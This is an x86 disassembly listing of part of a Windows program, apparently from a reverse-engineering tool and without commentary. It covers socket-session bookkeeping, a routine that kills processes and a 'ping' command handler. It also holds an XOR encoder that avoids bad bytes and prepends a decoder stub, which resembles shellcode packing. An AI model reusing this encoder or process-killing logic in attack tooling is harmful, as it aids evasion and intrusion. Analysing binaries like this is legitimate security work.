; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C44
		mov	edi, edx
		mov	byte_446C51, bl
		mov	byte_446C55, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C2C
		mov	edi, edx
		mov	word_446C3A, bx
		mov	byte_446C3F, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		nop
		call	near ptr 276084Bh
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 2780211h
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2830000h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_4277C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4277C8:				; CODE XREF: sub_4277B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
